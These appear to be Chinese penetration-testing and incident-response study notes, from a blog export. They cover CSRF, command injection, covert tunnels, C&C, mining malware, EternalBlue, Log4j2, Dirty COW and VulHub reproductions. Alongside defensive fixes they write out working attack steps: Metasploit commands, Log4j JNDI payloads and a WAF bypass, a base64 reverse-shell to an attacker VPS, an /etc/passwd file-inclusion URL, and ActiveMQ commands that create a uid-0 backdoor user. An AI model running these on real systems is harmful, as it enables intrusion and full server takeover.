网络连接:利用防火墙内用户的浏览器间接的对他所想访问的资源发送网络请求. 获知浏览器的状态;当浏览器发送清求时,通常情况下,网络协议里包含了浏览器的状态. 改变浏览器的状态.当攻击者借助浏览器发起一个请求的时候,浏览器也会分析并相应服务端的response; 防护 验证token值:在请求中放入黑客所不能伪造的信息,这个信息就是以参数的形式随机生成的token(在http请求头里),在服务器端加入拦截器去验证token,如果token不正确或者不存在,可以认定是一个csrf的请求并且拒绝 验证HTTP头的Referer 用XMLHttpRequest附加在header里 只使用JSON API 命令执行命令执行的原理 在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码中调用代码或命令执行函数去处理. 比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞.同样调用系统命令处理,将造成命令执行漏洞. 定义:用户提交的数据被服务器处理擎当做系统命令语句片段执行. 命令执行的攻击流程 常见位置:参数值、Cookie值、X-Forwarded-For、Referer、User-Agent、Host理论上,注入点存在与HTTP请求的任何位置 多命令执行123456789101112windows:"|","||","&","&&"例:ping 127.0.0.1|whoami 直接执行后面的语句ping 127.0.0.1||whoami 前面语句执行出错 执行后语句ping 127.0.0.1&whoami 都执行ping 127.0.0.1&&whoami 前为假不执行Liunx:";","&","&&","|","||","$()",'XX'例:id;lswhoami & touch awhoami $ (touch a)whoami `touch a` 命令执行的危害及防御危害 可以直接控制服务器 可以通过提权控制服务器 防护 尽量不要使用系统执行命令 使用硬编码:将参数固定,避免直接读取用户提交数据 命令确实需要动态调整,可将内容固定为一个选择列表 在进入执行命令函数之前,变量一定要做好过滤,对敏感字符进行过滤或者转义 不能完全控制的危险函数应当被禁止 恶意通信恶意通信介绍 定义:主机访问恶意IP或恶意域名、主机与通信端存在恶意通信流量. 常见的恶意IP地址是僵尸网络中被控制的主机地址,其次是受恶意程序攻陷的IP地址. 恶意域名惯用的手段是诱导用户访问不安全的网址,这类网址通常被植入木马、病毒程序等恶意代码,在用户不知情的情况下,利用伪装的网站服务内容诱导用户访问. 隐蔽隧道通信Socks隧道 socks是一种代理服务,可以说是一个升级版的Icx(内网端口转发工具). Socks有socks4和socks5两种类型,socks4只支持TCP协议,而socks5支持TCP/UDP协议. 通过在靶机上配置Socks服务,让恶意主机通过Socks客户端连接Socks服务,进而实现跳板攻击. socks协议中有交互协议,当访问某个网站的时候,浏览器会把被访问目标的URL和服务端口交给socks服务端进行解析,socks服务端解析后代替浏览器去访问目标网站,将结果返回给浏览器. 端口转发必须要知道访问端口,并只能一对一;而socks支持一对多 注:SOCKS是”Sockets”的缩写. Socks5 Socks5 是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递.Socks5工作在比HTTP代理更低的层次.Socks5是一个代理协议,它在使用TCP/IP协议通讯的前端机器和服务器机器之间扮演一个中介角色,使得内部网中的前端机器变得能够访问Internet网中的服务器,或者使通讯更加安全.Socks5服务器通过将前端发来的请求转发给真正的目标服务器,模拟了一个前端的行为.在这里,前端和Socks5之间也是通过TCP/IP协议进行通讯,前端将原本要发送给真正服务器的请求发送给Socks5服务器,然后Socks5服务器将请求转发给真正的服务器. ICMP隧道 ICMP协议ICMP(Internet Control Message Protocol)) Internet控制报文协议.它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息.控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息.这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用. ICMP隧道原理 由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性. 通常ICMP隧道技术采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用ping命令建立隐蔽通道. 进行隐蔽传输的时候,肉鸡(防墙内部)运行并接受外部攻击端的ICMP_ECHO数据包,攻击端把需要执行的命令隐藏在ICMP_ECHO数据包中,肉鸡接收到该数据包,解出其中隐藏的命令,并在防火墙内部主机上执行,再把执行结果隐藏在ICMP_ECHOREPLY数据包中,发送给外部攻击端. ICMP隧道优缺点 优点 防火墙对ICMP_ECHO数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高 缺点 ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低 利用隧道传输时,需要接触更低层次的协议,这就需要高级用户权限 C&C通信 C&C的全称是Command and Control,即命令及控制.攻击者可以利用C&C技术.盗取受害主机上的机密数据,也可以操控大量的C&C客户端发动DDoS攻击.有时,攻击者也会将C&C作为APT攻击的一个环节,为进一步实施攻击做准备. 危害 大多数网络边界防护手段比较有效,这使得攻击者很难从外部直接联系目标主机.然而,对于从内部发起的网络连接,往往却没有进行严格的限制,这就给了攻击者可乘之机.C&C通信过程针对这个”漏洞”进行了设计.当受害主机已经被植入恶意程序,通常该程序会建立一个出方向的连接,攻击者成功接触到内网主机后即可进行如下几种类型的操作: 横向移动 机密数据盗取 DDoS攻击 APT攻击 通信方式 C&C通信过程中包含两个重要角色: C&C服务器:由黑客控制的主机, C&C客户端:被植入恶意程序的受害主机. C&C服务器不仅可以收集C&C客户端的信息,如操作系统、应用软件和开放端口等,还可以向C&C客户端发送控制指令,指使它执行某些恶意行为.攻击者也可以将C&C客户端作为跳板,通过其感染更多网络内的主机,扩大C&C客户端的规模. C&C服务器的全称是Command and Control Server,:即”命令及控制服务器”. 常见的C&C通信方式: 通过IP地址访问C&C服务器 通过域名访问C&C服务器 Fast-flux 使用网站或论坛作为C&C服务器 使用DGA生成随机域名 挖矿病毒什么是计算机病毒 计算机病毒(Computer Virus):指编制者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机正常使用并且能够自我复制的一组计算机指令或程序代码. 特征:隐蔽性、破坏性、破坏性、寄生性、可执行性、可触发性、攻击的主动性、针对性 中毒电脑的主要症状很多,凡是电脑不正常都有可能与病毒有关.电脑染上病毒后,如果没有发作,是很难觉察到的. 但病毒发作时就很容易从以下症状中感觉出来:工作会很不正常;莫名其妙的死机;突然重新启动或无法启动;程序不能运行;磁盘坏簇莫名其妙地增多;磁盘空间变小;系统启动变慢;数据和程序丢失;出现异常的声音、音乐或出现一些无意义的画面问候语等显示;正常的外设使用异常,如打印出现问题,键盘输入的字符与屏幕显示不一致等;异常要求用户输入口令. 挖矿病毒介绍 随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式.新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染的成功率,通过利用永恒之蓝(EternalBlue)、web攻击多种漏洞(如Tomcat:弱口令攻击、Veblogic WLS组件漏洞、Jboss,反序列化漏洞、Struts2远程命令执行等),导致大量服务器被感染挖矿程序的现象. 特点: 具有多样性的传播方式 隐蔽谋利的危害行为 勤于更新的特点 危害: 占用计算机资源 会被作为病毒渠道植入其他病毒 系统会被锁死、破坏 内网产生大规模DDos流量导致网络瘫痪 挖矿病毒应急响应挖矿病毒检查工具: Process Hacker:是一款功能丰富的系统进程管理工具.用户只要借助该程序就可以方便,快捷地查看相关进程的速度,内存,及模块等等,另外,还可以对相关的进程进行管理工作. processexplorer:由Sysinternals开发的Windows系统和应用程序监视工具,已并入微软旗下.不仅结合了Filemon(文件监视器)和Regmon(注册表监视器)两个工具的功能,还增加了多项重要的增强功能 pchunter:PC Hunter是一个Windows系统信息查看软件,同时也是一个手工杀毒辅助软件 火绒剑 Windows 事件发现 程序启动很慢,打开任务管理器发现cpu被占用接近100%,服务器资源占用严重 事件分析 查看windows任务管理器,发现多个异常进程 分析进程参数:wmic process get caption,commandline /value >>tmp.txt 12345# 使用下面的命令wmic process get caption,commandline /value# 如果想查询某一个进程的命令行参数,使用下列方式wmic process where caption="svchost.exe" get caption,commandline /value# 这样就可以得到进程的可执行文件位置等信息 对挖矿病毒脚本分析 清除挖矿病毒 关闭异常进程 删除挖矿程序 Linux 事件发现 安全平台提示主机进行挖矿登录,持续访问矿池地址,进入主机使用top命令查看进程CPU占用率高 事件处理 通过ps -auxef和netstat -tulnp两个命令查看异常进程信息 结束病毒进程ps -elf |grep [pid] kill -9 [pid] 删除病毒文件ls -al /proc/[pid]/exe rm -f [exe_path] 检查是否存在可疑定时任务 枚举定时任务:crontab -l 查看anacron异步定时任务:cat /etc/anacrontab 注意:为了避免系统命令被替换,预加载动态库等问题,下载静态链接版本的busybox来进行调查.或者下载源码编译busybox源码,注意编译的时候采用静态链接编译 永恒之蓝(MS17-010)永恒之蓝漏洞简介 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含”永恒之蓝”工具,”永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限 永恒之蓝通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序. 永恒之蓝漏洞攻击利用123456789# 使用msfsearch ms17_010use 0# 设置Payload为bind_tcp,经过测试,此台机器不允许出网,只能正向连接set payload windows/x64/meterpreter/bind_tcp# 设置IP地址set RHOSTS 10.10.2.11# 运行run 永恒之蓝危害及防御危害 可以控制服务器,进行主机提权、获取敏感信息、实施跳板攻击等操作 防御 在线更新:开启Windows Update更新 打补丁:此漏洞对应的微软补丁地址:https://learn.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010 关闭相应端口 Log4j2远程代码(RCE)执行Log4j2漏洞原理介绍 Apache Log4j2是一款优秀的ava日志框架,Log4j2作为日志记录的第三方库,被广泛得到使用.可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程. 因为存在前身Log4j,而且都是Apache下的项目,不管是jar包名称还是package名称,看起来都很相似,导致有些人分不清自己用的是Log4j还是Log4j2.这里给出几个辨别方法: Log4j2分为2个jar包,一个是接口log4j-api-{版本号}为ar,一个是具体实现log4j-core-{版本号}jar.Log4j只有一个jar包log4j-{版本号为jar. Log4j2的版本号目前均为2.x.Log4j的版本号均为1.x. 漏洞(CVE-2021-44228)产生原因Log4j2默认提供了Lookup功能,查找提供了一种在任意位置向Log4j配置添加值的方法.它们是实现StrLookup接口的特定类型的插件.其中包括了对JNDI Lookup的支持,但是却未对传入内容进行任何限制,导致攻击者可以JNDI注入,远程加载恶意类到应用中,从而RCE. 前置知识JNDI(Naming and Directory Interface) Java命名和目录接口,既然是接口,那必定就有实现,而目前我们Java中使用最多的基本就是RMI和LDAP的目录服务系统. 而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端.而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录.而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象 总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来. 还是前面所说的例子,我们在使用浏览器进行访问一个网络上的接口时,它和服务器之间的数据传输以及数据格式的组织,使用到基于TCP/IP之上的HTTP协议,只有通过HTTP协议,浏览器和服务端约定好的一个协议,他们之间才能正常的交流通讯,而JRMP也是一个与之相似的协议,只能JRMP这个协议仅用于Java RMI中 RMI(Remote Method Invocation) 能够让程序员开发出基于Java的分布式应用.一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用他的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样 一台机器想要执行另一台机器上的java代码 例如: 我们使用浏览器对一个http协议实现的接口进行调用,这个接口调用过程我们可以称为Interface Invocation,而RMI的概念与之非常相似,只不过RMI调用的是一个Java方法,而浏览器调用的是一个http接口.并且Java中封装了RMI的一系列定义 Server—>告诉注册中心Client—>根据名字和注册中心要端口 Registry翻译一下就是注册处,其实本质就是一个map(hashtable),注册着许多Name到对象的绑定关系,用于客户端查询要调用的方法的引用. 注册中心约定端口:1099 Registry的作用就好像是病人(客户端)看病之前的挂号(获取远程对象的IP、端口、标识符),知道医生(服务端)在哪个门诊,再去看病(执行远程方法) RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制,RMI调用远程的方法大致如下:整个过程会进行两次TCP连接: Client获取这个Name和对象的绑定关系 RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.Registrylmpl Stub) Stub会将Remote对象传递给远程引用层java.rmi.server.RemoteRef并创建java.rmi.server.RemoteCall(远程调用)对象. RemoteCall序列化RMI服务名称、Remote对象. RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层. RMI服务端的远程引用层sun.rmi.server.UnicastServerRef收到请求会请求传递给Skeleton(sun.rmi.registry.Registrylmpl_Skel#dispatch) Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化. Skeleton处理客户端请求: bind、 list、 lookup、 rebind、 unbind, 如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端. 再去连接Server并调用远程方法 RMI客户端反序列化服务端结果,获取远程对象的引用 RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端 RMI客户端反序列化RMI远程方法调用结果 **危险的点:**如果服务端没有我想调用的对象->RMI允许服务端从远程服务器进行远程URL动态类加载对象调用:从网络通信到内存操作,有一个对象的创建到调用的过程–>在JAVA中使用序列化和反序列化来实现 LDAP(Lightweight Directory Access Protocol)LDAP即是JNDI SPI支持的Service Provider之一,但同时也是协议.LDAP目录服务是中目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据.LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问.LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性.LDAP 的目录信息是以树形结构进行存储的. Log4j2远程代码执行漏洞复现及漏洞修复利用版本: 2.0到2.14.1版本 漏洞复现 漏洞触发点:http://103.116.46.7:8983/solr/admin/cores?action= 漏洞探测:http://103.116.46.7:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.sxy8s9.dnslog.cn} 下载工具进行反弹shellwget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/log4j/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 运行java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YOUR-BASE64-ENCODE}|{base64,-d}|{bash,-i}" -A "YOUR-ATTACK-VPS-IP" 方式一:网址输入:http://103.116.46.7:8983/solr/admin/cores?action=${jndi:ldap://YOUR-ATTACK-VPS-IP:1389/Exploit} 方式二将上方抓包改为POST传参 结果 检测手段 相关用户可根据Java jar解压后是否存在org/apache/logging/log4j相关路径结构,判断是否使用了存在漏洞的组件,若存在相关Java程序包,则很可能受漏洞影响. 若程序使用Maven打包,可查看项目的pom.xml文件中是否存在下图所示的相关字段,若版本号为小于2.15.1,则应用受漏洞影响. 若程序使用gradle打包,可查看build.gradle编译配置文件,若在dependencies部分存在org.apache.logging.log4j相关字段,且版本号为小于2.15.1,则应用受漏洞影响. 攻击排查: 攻击者在利用漏洞前通常采用dnslog方式进行扫描、探测,常见的漏洞利用方式可通过应用系统报错日志中的"javax.naming.CommunicationException"、"javax.naming.NamingException: problem generating object using object factory"、"Error looking up JNDI resource"关键字进行排查. 攻击者发送的数据包中可能存在”${jndi:}” 字样,推荐使用全流量或WAF设备进行检索排查. 修复建议将 log4j-core 升级到 2.15.0 版本接入安全产品第一时间上WAF规则、RASP拦截等措施,给修复争取时间.但是也要注意一些静态规则上的绕过,log4j 支持的写法比较多,有非常多绕过姿势.比如: 1${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc} 删除漏洞类通过删除漏洞类进行修复的方案比较稳,也是官方推荐的一种修复方案.直接删除 log4j jar 包中存在漏洞的类: 1zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 这种修复比较方便快捷,一般业务代码也不会用到 jndi lookup 这个功能.不过可能会对基于版本号判定的安全数据采集造成一定困扰,无法准确统计漏洞的最新受影响情况.建议删除之后在 jar 包后面加上一定的标记,如: log4j-2.14.1.sec.jar另外,由于某些原因不想删除的话,可以自己代码替换原始的 JndiLookup 类,将它加到业务代码中.需要注意的是,必须保证它在 log4j 原类之前加载. 1234567package org.apache.logging.log4j.core.lookup;public class JndiLookup { public JndiLookup() { throw new NoClassDefFoundError("JNDI lookup is disabled"); }} 也可以做成依赖包,在 log4j-core 之前添加,可以实现同样的效果(注意不要引入不可信的第三方依赖,可能导致潜在安全风险,以下配置来源互联网,仅作为示例,请勿直接使用): 12345<dependency> <groupId>org.glavo</groupId> <artifactId>log4j-patch</artifactId> <version>1.0</version></dependency> 当然也可以通过RASP的方式干掉漏洞类,Github上有不少RASP的无损修复方案,比如: 通过配置禁用 log4j 的 lookup 功能禁用的方式就比较多了.然而下面2、3、4这几种方式对低于 2.10 版本的 log4j-core 都没有效果,而且环境变量和启动参数这种设置,在迁移或者变更的过程中丢失的可能性比较大.log4j 在 2.15.0 版本中默认就已经关闭了 lookup 功能.log4j2.component.properties、log4j2.xml 默认放在 ClassPath 路径下,如:源代码的资源目录或者可执行程序所在的当前目录. 设置日志输出 Pattern 格式对于 >=2.7 的版本,在 log4j 中对每一个日志输出格式进行修改.在 %msg 占位符后面添加 {nolookups},这种方式的适用范围比其他三种配置更广.比如在 log4j2.xml 中配置: 1234567891011121314151617181920<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{nolookups}%n"/> </Console> </Appenders> <Loggers> <Root level="error"> <AppenderRef ref="Console"/> </Root> </Loggers></Configuration>public class Test {public static void main(String[] args) {String t = "${jndi:ldap://xxx.com/xxx}";Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);logger.error(t);}} 设置JVM系统属性在 Java 应用启动参数中增加 -Dlog4j2.formatMsgNoLookups=true,或者在业务代码中设置系统属性: 1234// 必须在 log4j 实例化之前设置该系统属性System.setProperty("log4j2.formatMsgNoLookups", "true");Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME); 修改配置文件在配置文件 log4j2.component.properties 中增加:log4j2.formatMsgNoLookups=true,配置文件放置于应用程序的 ClassPath 路径下. 设置进程环境变量在环境变量中增加:LOG4J_FORMAT_MSG_NO_LOOKUPS=true 注意!这些配置和属性,并不能在所有场景下生效,比如在 logstash 中就无法生效: Solutions and Mitigations: The widespread flag -Dlog4j2.formatMsgNoLookups=true does NOT mitigate the vulnerability in Logstash, as Logstash uses Log4j in a way where the flag has no effect. It is therefore necessary to remove the JndiLookup class from the log4j2 core jar, with the following command: zip -q -d /logstash-core/lib/jars/log4j-core-2.* org/apache/logging/log4j/core/lookup/JndiLookup.class https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476 升级JDK版本对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认就已经禁用了 RMI Reference、LDAP Reference 的远程加载.对于 RCE 来说,可以起到很直接的缓解作用,可以作为增强型的加固方案.在高版本JDK环境下,JNDI注入也还是存在一定RCE风险,可以参考这篇文章:另外 log4j 漏洞本身除了 RCE,还存在着巨大的攻击面,比如 SSRF、敏感信息泄露等等,威胁非常大,不要企图仅仅通过升级JDK版本来修复漏洞,建议还是老老实实升级. 权限提升权限提升介绍 提权是将服务器的普通用户提升为管理员用户的一种操作.即当我们getshell-一个网站之后,大部分情况下我们获得的权限是非常低的,这时候就需要利用提权,让原先的低权限提升到高权限.例如:Windows: user—>system user—>administrator Linux:user—>root UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术.UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码.UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改.在windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级.高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统子啊受到安全威胁时造成的损害最小.在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据等操作,都需要经常UAC(User Account Control)用户账号控制的认证 提权方式 系统漏洞提权 数据库提权 第三方软件/服务提权 系统配置错误提权 Windows系统提权系统漏洞提权即利用系统的自身缺陷,用来进行系统权限提升.对于这些系统漏洞,Windows和Liunx均存在提权用的可执行文件. Linux系统提权 信息收集 搜索漏洞(查找相关版本的内核漏洞) 使用exp进行提权 SUID提权 SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文件.例如,Linux ping命令通常需要root权限才能打开网络套接字.通过将ping程序标记为SUID(所有者为root),只要低特权用户执行ping程序,便会以root特权执行ping. SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限. 当运行具有sudo权限的二进制文件时,它将以其他用户身份运行,因此具有其他用户特权.它可以是root用户,也可以只是另一个用户.如果在程序中设置了suid,该位可以生成shell或以其他方式滥用,我们可以使用它来提升我们的特权. Find SUID find / -perm -u=s -type f 2>/dev/nullhttps://gtfobins.github.io/https://gtfobins.github.io/ 脏牛提权复现漏洞描述脏牛漏洞(CVE-2016–5195),又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞,在2016年10月18后才得以修复,因此影响范围很大. 漏洞具体是由于get_user_page内核函数在处理Copy-on-Write的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会.修改su或者passwd程序就可以达到root的目的. 漏洞危害低权限用户利用脏牛漏洞可以在众多Linux系统上实现本地提权 影响范围(如果你的内核版本低于以下版本,则还存在此漏洞): 1234567Centos7/RHEL7 3.10.0-327.36.3.el7Cetnos6/RHEL6 2.6.32-642.6.2.el6Ubuntu 16.10 4.8.0-26.28Ubuntu 16.04 4.4.0-45.66Ubuntu 14.04 3.13.0-100.147Debian 8 3.16.36-1+deb8u2Debian 7 3.2.82-1 漏洞复现靶场: https://www.vulnhub.com/entry/lampiao-1,249/https://www.vulnhub.com/entry/lampiao-1,249/ https://download.vulnhub.com/lampiao/Lampiao.ziphttps://download.vulnhub.com/lampiao/Lampiao.zip arp-scan 扫描主机 arp-scan -l nmap 扫描目标主机开放端口 nmap -sS -T4 -p 1-65535 -v 192.168.64.141 发现drupal,利用漏洞 通过开放的1898端口进入网站,看到目标网站,发现网站cms是drupal 1234567# msf 搜索drupal漏洞,使用可利用漏洞进行攻击>search drupal# exploit/unix/webapp/drupal_drupalgeddon2>use 1>set rhosts 192.168.64.141>set rport 1898>run 信息收集 上传信息收集脚本,发现存在脏牛提权漏洞 1upload /tmp/linux-exploit-suggester.sh /tmp/lasc.sh 进入shell 执行信息收集脚本,执行结果中发现[CVE-2016-5195]脏牛漏洞 1234shellcd /tmpchmod 777 lasc.sh./lasc.sh 漏洞利用 下载exp,上传exp 1234567# 40611没成功,使用40847mv 40847.cpp /tmp/ upload /tmp/40847.cpp /tmp/lasc.cpp# 进入shell编译执行exp,得到登录密码shellg++ -Wall -pedantic -O2 -std=c++11 -pthread -o exp lasc.cpp -lutil./exp 打开交互式shell,切换root用户,提权成功","tags":["应急响应","蓝队","攻防演练","事件研判","安全运营"],"categories":["红蓝对抗","蓝队"]},{"title":"VulHub-杂项漏洞复现","path":"/2023/05/03/fe16a42b/","content":"总字符数: 10.80K 代码: 3.25K, 文本: 3.19K 预计阅读时间: 28 分钟 Neo4j Shell Server 反序列化漏洞(CVE-2021-34371)漏洞概述Neo4j是一个开源图数据库管理系统. 在Neo4j 3.4.18及以前,如果开启了Neo4j Shell接口,攻击者将可以通过RMI协议以未授权的身份调用任意方法,其中setSessionVariable方法存在反序列化漏洞.因为这个漏洞并非RMI反序列化,所以不受到Java版本的影响. 在Neo4j 3.5及之后的版本,Neo4j Shell被Cyber Shell替代. 利用版本: Neo4j <= 3.4.18 漏洞复现环境搭建如果你使用Linux或OSX系统,可以执行如下命令启动一个Neo4j 3.4.18: 1TARGET_IP=<your-ip> docker-compose up -d 其中,环境变量TARGET_IP需要制定靶场环境的IP地址. 如果你是Windows系统,请直接修改docker-compose.yml,指定TARGET_IP环境变量的值. 服务启动后,访问http://your-ip:7474即可查看到Web管理页面,但我们需要攻击的是其1337端口,这个端口是Neo4j Shell端口,使用RMI协议通信. 下载Java RMI客户端,集成基于Rhino的Gadget,发送RMI请求:YOU-BASE64-ENCODE为反弹shell的base64编码后的东西前面用到过好多次了 java -jar rhino_gadget-1.0-SNAPSHOT-fatjar.jar rmi://受害机IP:1337 "bash -c {echo,YOU-BASE64-ENCODE}|{base64,-d}|{bash,-i}" 修复建议 升级到Neo4j 3.4.19及以上版本 phpmyadmin 4.8.1 远程文件包含漏洞 (CVE-2018-12613)漏洞概述利用版本: 4.8.0 4.8.1 漏洞复现环境启动后,访问http://103.116.46.7:8080. phpmyadmin 是”config”模式,所以我们可以直接登录 访问http://103.116.46.7:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,可见/etc/passwd被读取,说明文件包含漏洞存在 使用方式也比较简单,可以执行一下SELECT '<?=phpinfo()?>';,然后查看自己的sessionid(中phpMyAdmin的值),然后包含session文件即可 修复建议 升级到最新版phpmyadmin ActiveMQ 反序列化漏洞(CVE-2015-5254)漏洞概述Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等. Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类.远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码. 漏洞复现环境运行后,将监听61616和8161两个端口.其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口. 使用浏览器直接访问activemq,查看是否部署完毕 http://103.116.46.7:8161/admin/ (默认的用户名/密码为admin/admin) 漏洞利用过程如下: 构造(可以使用ysoserial)可执行命令的序列化对象 作为一个消息,发送给目标61616端口 访问web管理页面,读取消息,触发漏洞 使用jmet进行漏洞利用.首先下载jmet的jar文件,并在同目录下创建一个external文件夹 jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME. 执行: 1java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "ping 6b3chr.dnslog.cn" -Yp ROME 103.116.46.7 61616 此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://103.116.46.7:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息 点击查看这条消息即可触发命令执行 远程添加root用户执行jmet的命令添加test用户并将其添加到root组,返回http://103.116.46.7:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它 1java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 test" -Yp ROME 103.116.46.7 61616 让我们再将passwd中的test的uid修改为0,使它拥有root权限,返回http://103.116.46.7:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它. 1java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/test:x:0/g" /etc/passwd" -Yp ROME 103.116.46.7 61616 让我们再为test用户设置一个密码,返回http://103.116.46.7:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它. 1java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "test:sd123456" | chpasswd" -Yp ROME 103.116.46.7 61616 到此为止,一个权限为root,密码为123456的用户即创建完毕.我们可以使用ssh直接远程登陆进入操作系统,并且还是最高权限. ActiveMQ任意文件写入漏洞(CVE-2016-3088)漏洞概述ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录. fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现: 其使用率并不高 文件操作容易出现漏洞 所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用. 在测试过程中,可以关注ActiveMQ的版本,避免走弯路. 漏洞复现环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在web控制台中. 访问http://103.116.46.7:8161/看到web页面,说明环境已成功运行. 本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求).所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞. 文件写入有几种利用方法: 写入webshell 写入cron或ssh key等文件 写入jar或jetty.xml等库和配置文件 